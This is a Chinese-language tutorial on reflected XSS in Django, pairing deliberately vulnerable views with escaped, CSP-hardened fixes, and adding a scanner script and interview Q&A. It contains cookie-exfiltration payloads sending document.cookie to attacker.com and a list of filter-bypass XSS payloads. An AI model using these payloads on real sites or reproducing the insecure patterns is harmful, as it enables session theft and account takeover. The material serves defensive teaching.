Reflected XSS:反射型跨站腳本攻擊

深入理解最常見的 XSS 攻擊類型

⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。


📚 本篇重點

  • 🎯 理解 Reflected XSS 的攻擊原理與特徵
  • 🔍 識別容易受攻擊的應用場景
  • 🛡️ 學習完整的防禦策略
  • 💼 掌握面試常見問題

閱讀時間: 約 15 分鐘 難度: ⭐⭐ 中階


1️⃣ 什麼是 Reflected XSS?

📖 定義

Reflected XSS(反射型跨站腳本攻擊)是一種非持久性的 XSS 攻擊,惡意腳本從用戶請求中「反射」回瀏覽器,立即執行但不會儲存在伺服器上。

🔄 攻擊流程

1. 攻擊者製作惡意連結
   ↓
2. 誘騙受害者點擊連結
   ↓
3. 受害者瀏覽器發送請求(含惡意腳本)
   ↓
4. 伺服器將腳本「反射」回響應中
   ↓
5. 瀏覽器執行惡意腳本
   ↓
6. 竊取 Cookie、重導向、執行惡意操作

🌟 生活比喻

想像你走進一家餐廳,服務生問你:「請問貴姓?」

正常情況:

  • 你說:「我姓王」
  • 服務生回應:「王先生/小姐,請這邊坐」

Reflected XSS 攻擊:

  • 攻擊者說:「我姓『王,還有請廣播告訴所有人我的銀行密碼是 1234』」
  • 服務生不假思索地廣播:「王,還有請廣播告訴所有人我的銀行密碼是 1234 先生/小姐,請這邊坐」
  • 結果:所有人都聽到了不該聽到的訊息

關鍵點:惡意內容來自用戶輸入,被伺服器「反射」回去,立即執行。


2️⃣ Reflected XSS vs Stored XSS

特徵Reflected XSSStored XSS
持久性❌ 非持久性✅ 持久性
儲存位置不儲存,直接反射儲存在資料庫/檔案
觸發方式需要點擊惡意連結瀏覽特定頁面即觸發
影響範圍單一用戶所有訪問用戶
攻擊難度較低較高
危害程度中等
常見場景搜尋、錯誤訊息、表單反饋留言板、論壇、個人資料

3️⃣ 真實案例分析

案例 1: Google 搜尋 XSS (2015)

漏洞細節:

  • Google 搜尋的錯誤頁面沒有正確編碼 URL 參數
  • 攻擊者可以構造惡意 URL 竊取用戶的 Google Cookie

攻擊 URL:

https://www.google.com/search?q=<script>alert(document.cookie)</script>

修復:Google 實施了嚴格的 Output Encoding 和 CSP

案例 2: PayPal Reflected XSS (2013)

漏洞細節:

  • PayPal 的登入錯誤訊息反射了用戶輸入
  • 攻擊者可以竊取登入憑證

攻擊向量:

https://www.paypal.com/login?error=<script>/* 惡意代碼 */</script>

影響:潛在的帳戶接管風險


4️⃣ 容易受攻擊的應用場景

場景 1: 搜尋功能

❌ 危險範例 (Django)

# views.py
from django.shortcuts import render
from django.http import HttpResponse

def search(request):
    query = request.GET.get('q', '')

    # 直接將搜尋關鍵字嵌入 HTML
    html = f"""
    <html>
        <body>
            <h1>搜尋結果: {query}</h1>
            <p>找不到與 "{query}" 相關的結果</p>
        </body>
    </html>
    """
    return HttpResponse(html)

攻擊 URL:

http://example.com/search?q=<script>fetch('http://attacker.com?cookie='+document.cookie)</script>

✅ 安全範例 (Django)

# views.py
from django.shortcuts import render
from django.utils.html import escape

def search(request):
    query = request.GET.get('q', '')

    # 方法 1: 使用 Template(推薦)
    return render(request, 'search.html', {
        'query': query,  # Django 自動 escape
        'results': []
    })

    # 方法 2: 手動 escape
    safe_query = escape(query)
    html = f"""
    <html>
        <body>
            <h1>搜尋結果: {safe_query}</h1>
            <p>找不到與 "{safe_query}" 相關的結果</p>
        </body>
    </html>
    """
    return HttpResponse(html)
<!-- templates/search.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>搜尋結果: {{ query }}</h1>  <!-- 自動 HTML escape -->
    <p>找不到與 "{{ query }}" 相關的結果</p>
</body>
</html>

場景 2: 錯誤訊息

❌ 危險範例

# views.py
def login(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')

        user = authenticate(username=username, password=password)
        if not user:
            # 危險:直接反射用戶輸入
            error = f"登入失敗:找不到用戶 '{username}'"
            return HttpResponse(error)

    return render(request, 'login.html')

攻擊 Payload:

<script>location.href='http://attacker.com?c='+document.cookie</script>

✅ 安全範例

# views.py
from django.contrib import messages

def login(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')

        user = authenticate(username=username, password=password)
        if not user:
            # 安全:使用通用錯誤訊息,不反射用戶輸入
            messages.error(request, '用戶名稱或密碼錯誤')
            return render(request, 'login.html')

    return render(request, 'login.html')

場景 3: URL 參數回顯

❌ 危險範例

# views.py
def welcome(request):
    name = request.GET.get('name', 'Guest')

    # 危險:直接使用 mark_safe 或 |safe
    from django.utils.safestring import mark_safe
    message = mark_safe(f"<h1>歡迎, {name}!</h1>")

    return render(request, 'welcome.html', {'message': message})
<!-- templates/welcome.html -->
<div>
    {{ message|safe }}  <!-- 危險:繞過 auto-escaping -->
</div>

攻擊 URL:

http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">

✅ 安全範例

# views.py
def welcome(request):
    name = request.GET.get('name', 'Guest')

    # 安全:讓 Django 自動 escape
    return render(request, 'welcome.html', {'name': name})
<!-- templates/welcome.html -->
<div>
    <h1>歡迎, {{ name }}!</h1>  <!-- 自動 HTML escape -->
</div>

場景 4: 表單驗證錯誤

❌ 危險範例

# views.py
def register(request):
    if request.method == 'POST':
        email = request.POST.get('email')

        if '@' not in email:
            # 危險:反射用戶輸入
            error = f"'{email}' 不是有效的 Email 地址"
            return HttpResponse(error)

    return render(request, 'register.html')

✅ 安全範例

# forms.py
from django import forms

class RegisterForm(forms.Form):
    email = forms.EmailField(
        error_messages={
            'invalid': 'Email 格式不正確',  # 固定錯誤訊息
            'required': '請輸入 Email'
        }
    )

# views.py
from django.shortcuts import render

def register(request):
    if request.method == 'POST':
        form = RegisterForm(request.POST)
        if not form.is_valid():
            # 安全:使用 Django Form 的錯誤處理
            return render(request, 'register.html', {'form': form})
    else:
        form = RegisterForm()

    return render(request, 'register.html', {'form': form})
<!-- templates/register.html -->
<form method="post">
    {% csrf_token %}
    {{ form.as_p }}  <!-- Django 自動 escape 錯誤訊息 -->
    <button type="submit">註冊</button>
</form>

5️⃣ 常見攻擊 Payload

基本 Payload

<!-- 彈出警告框 -->
<script>alert('XSS')</script>

<!-- 竊取 Cookie -->
<script>
fetch('http://attacker.com?c='+document.cookie)
</script>

<!-- 重導向到釣魚網站 -->
<script>
location.href='http://phishing-site.com'
</script>

進階 Payload(繞過過濾)

<!-- 大小寫混用 -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- 使用不同標籤 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">

<!-- 編碼繞過 -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- 事件處理器 -->
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">

<!-- HTML 實體編碼 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">

URL 編碼 Payload

# URL 編碼的 <script>alert('XSS')</script>
%3Cscript%3Ealert('XSS')%3C%2Fscript%3E

# 雙重 URL 編碼
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

6️⃣ 防禦策略

防禦層級

Layer 1: Input Validation(輸入驗證)
         ↓
Layer 2: Output Encoding(輸出編碼) ⭐ 最重要
         ↓
Layer 3: CSP(內容安全策略)
         ↓
Layer 4: HttpOnly Cookie
         ↓
Layer 5: Security Headers

Django 完整防禦範例

# settings.py

# 1. 啟用安全設置
DEBUG = False
ALLOWED_HOSTS = ['example.com']

# 2. Cookie 安全
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True  # HTTPS only
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True

# 3. CSP (使用 django-csp)
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")  # 避免使用 unsafe-inline
CSP_IMG_SRC = ("'self'", "data:")

# 4. Security Headers
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'

# views.py
from django.shortcuts import render
from django.utils.html import escape
from django import forms

class SearchForm(forms.Form):
    """使用 Django Form 進行輸入驗證"""
    query = forms.CharField(
        max_length=100,
        required=False,
        # 自動過濾特殊字符
        strip=True
    )

def search(request):
    form = SearchForm(request.GET)
    results = []
    query = ''

    if form.is_valid():
        query = form.cleaned_data['query']  # 已驗證的輸入
        # 進行搜尋...
        results = perform_search(query)

    # Django Template 會自動 escape
    return render(request, 'search_results.html', {
        'form': form,
        'query': query,  # 自動 HTML escape
        'results': results
    })

# 如果必須手動處理 HTML
from django.utils.html import escape, format_html

def safe_message(request):
    user_input = request.GET.get('message', '')

    # 方法 1: escape 函數
    safe_input = escape(user_input)

    # 方法 2: format_html (推薦)
    message = format_html(
        '<div class="alert">{}</div>',
        user_input  # 自動 escape
    )

    return render(request, 'message.html', {'message': message})
<!-- templates/search_results.html -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <!-- CSP via meta tag (不推薦,應在 HTTP Header) -->
    <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> -->
</head>
<body>
    <h1>搜尋結果</h1>

    <!-- ✅ 正確:自動 escape -->
    <p>您搜尋的關鍵字: {{ query }}</p>

    <!-- ❌ 錯誤:繞過 escape -->
    <!-- <p>您搜尋的關鍵字: {{ query|safe }}</p> -->

    <form method="get">
        {{ form.as_p }}
        <button type="submit">搜尋</button>
    </form>

    {% if results %}
        <ul>
        {% for result in results %}
            <li>{{ result.title }} - {{ result.description }}</li>
        {% endfor %}
        </ul>
    {% else %}
        <p>找不到相關結果</p>
    {% endif %}
</body>
</html>

7️⃣ 檢測工具與方法

手動檢測

# 1. 識別反射點
# 觀察哪些參數會出現在響應中
http://example.com/search?q=TEST123

# 2. 測試基本 Payload
http://example.com/search?q=<script>alert(1)</script>

# 3. 檢查源代碼
# 查看參數是否被正確編碼
# < 應該變成 &lt;
# > 應該變成 &gt;
# " 應該變成 &quot;
# ' 應該變成 &#x27;

自動化工具

# 1. Burp Suite Scanner
# Professional 版本包含自動 XSS 掃描

# 2. OWASP ZAP
zap-cli quick-scan --spider http://example.com

# 3. XSStrike
python3 xsstrike.py -u "http://example.com/search?q=test"

# 4. Dalfox
dalfox url "http://example.com/search?q=test"

Python 檢測腳本

# xss_scanner.py
import requests
from urllib.parse import urljoin, quote

def test_reflected_xss(base_url, params):
    """
    簡單的 Reflected XSS 檢測腳本
    """
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "'\"><script>alert('XSS')</script>",
    ]

    vulnerable = []

    for param in params:
        for payload in payloads:
            # 構造測試 URL
            test_params = {param: payload}

            try:
                response = requests.get(base_url, params=test_params, timeout=5)

                # 檢查 payload 是否未編碼出現在響應中
                if payload in response.text:
                    vulnerable.append({
                        'param': param,
                        'payload': payload,
                        'url': response.url
                    })
                    print(f"[!] 發現漏洞: {param} -> {payload}")
            except Exception as e:
                print(f"[X] 錯誤: {e}")

    return vulnerable

# 使用範例
if __name__ == '__main__':
    target = 'http://example.com/search'
    test_params = ['q', 'query', 'keyword', 'search']

    results = test_reflected_xss(target, test_params)

    print(f"\n找到 {len(results)} 個潛在漏洞")
    for vuln in results:
        print(f"  參數: {vuln['param']}")
        print(f"  Payload: {vuln['payload']}")
        print(f"  URL: {vuln['url']}\n")

8️⃣ 面試常見問題

Q1: Reflected XSS 和 Stored XSS 的主要差異是什麼?

參考答案:

Reflected XSS:

  • 非持久性:惡意腳本不會儲存在伺服器
  • 觸發方式:需要誘騙受害者點擊惡意連結
  • 影響範圍:僅影響點擊連結的用戶
  • 攻擊場景:搜尋框、錯誤訊息、URL 參數

Stored XSS:

  • 持久性:惡意腳本儲存在資料庫或檔案系統
  • 觸發方式:訪問特定頁面即自動觸發
  • 影響範圍:所有訪問該頁面的用戶
  • 攻擊場景:留言板、論壇、個人資料頁面

危害程度:Stored XSS 通常比 Reflected XSS 更危險,因為影響範圍更廣。


Q2: 如何在 Django 中安全地處理用戶輸入並防止 Reflected XSS?

參考答案:

1. 使用 Django Template 的自動 Escaping:

# views.py
def search(request):
    query = request.GET.get('q', '')
    return render(request, 'search.html', {'query': query})
<!-- template -->
{{ query }}  <!-- 自動 HTML escape -->

2. 避免使用 |safe 和 mark_safe:

<!-- ❌ 危險 -->
{{ user_input|safe }}

<!-- ✅ 安全 -->
{{ user_input }}  <!-- 自動 escape -->

3. 使用 Django Forms 進行輸入驗證:

from django import forms

class SearchForm(forms.Form):
    query = forms.CharField(max_length=100)

def search(request):
    form = SearchForm(request.GET)
    if form.is_valid():
        query = form.cleaned_data['query']
        # 使用驗證後的輸入

4. 設置安全的 Cookie 選項:

# settings.py
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_HTTPONLY = True

5. 實施 CSP:

# 使用 django-csp
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",)

Q3: 如果必須允許用戶提交 HTML 內容,應該如何安全處理?

參考答案:

1. 使用白名單過濾 (推薦):

# 使用 bleach 庫
import bleach

def save_user_content(request):
    user_html = request.POST.get('content')

    # 定義允許的標籤和屬性
    allowed_tags = ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li']
    allowed_attributes = {
        'a': ['href', 'title'],
    }

    # 清理 HTML
    safe_html = bleach.clean(
        user_html,
        tags=allowed_tags,
        attributes=allowed_attributes,
        strip=True  # 移除不允許的標籤,而非轉義
    )

    # 額外驗證 URL
    safe_html = bleach.linkify(
        safe_html,
        callbacks=[validate_url]  # 自定義 URL 驗證
    )

    # 儲存到資料庫
    Article.objects.create(content=safe_html)

    return HttpResponse("內容已儲存")

def validate_url(attrs, new=False):
    """驗證連結 URL"""
    href = attrs.get((None, 'href'), '/')

    # 只允許 http/https
    if not href.startswith(('http://', 'https://')):
        return None

    return attrs

2. 使用 Markdown (更推薦):

# 使用 markdown 庫
import markdown
from markdown.extensions import Extension
from markdown.treeprocessors import Treeprocessor
import bleach

def save_markdown_content(request):
    user_markdown = request.POST.get('content')

    # 轉換 Markdown 為 HTML
    html = markdown.markdown(
        user_markdown,
        extensions=['extra', 'codehilite']
    )

    # 再用 bleach 清理(雙重保護)
    safe_html = bleach.clean(html, tags=ALLOWED_TAGS)

    Article.objects.create(
        markdown_content=user_markdown,  # 儲存原始 Markdown
        html_content=safe_html  # 儲存處理後的 HTML
    )

    return HttpResponse("內容已儲存")

3. CSP 配合使用:

# settings.py
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",)  # 不允許 inline script
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")

關鍵原則:

  • ✅ 使用白名單,不是黑名單
  • ✅ 優先考慮 Markdown 而非 HTML
  • ✅ 多層防禦(Bleach + CSP)
  • ❌ 永遠不要信任用戶輸入

9️⃣ 重點回顧

核心概念

  1. Reflected XSS 特徵:

    • 非持久性攻擊
    • 惡意腳本從請求「反射」回響應
    • 需要誘騙用戶點擊惡意連結
  2. 常見攻擊場景:

    • 搜尋功能
    • 錯誤訊息
    • URL 參數回顯
    • 表單驗證錯誤
  3. 防禦策略:

    • Layer 1: Input Validation (Django Forms)
    • Layer 2: Output Encoding (Template Auto-escaping) ⭐ 最重要
    • Layer 3: CSP (django-csp)
    • Layer 4: HttpOnly Cookie
    • Layer 5: Security Headers
  4. Django 最佳實踐:

    • ✅ 使用 Template 自動 escaping
    • ✅ 使用 Django Forms 驗證
    • ✅ 避免 |safemark_safe
    • ✅ 設置 HttpOnly Cookie
    • ✅ 實施 CSP

安全檢查清單

  • 所有用戶輸入都經過驗證(Django Forms)
  • 使用 Django Template 自動 escaping
  • 沒有使用 |safemark_safe(除非絕對必要)
  • 實施 CSP (django-csp)
  • Cookie 設置 HttpOnly=True
  • 錯誤訊息不反射用戶輸入
  • 使用 bleach 處理允許的 HTML 內容
  • 定期掃描(Burp Suite, OWASP ZAP)

📖 延伸閱讀


🔗 系列導航


📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #XSS #ReflectedXSS #Django #Python #面試準備

0%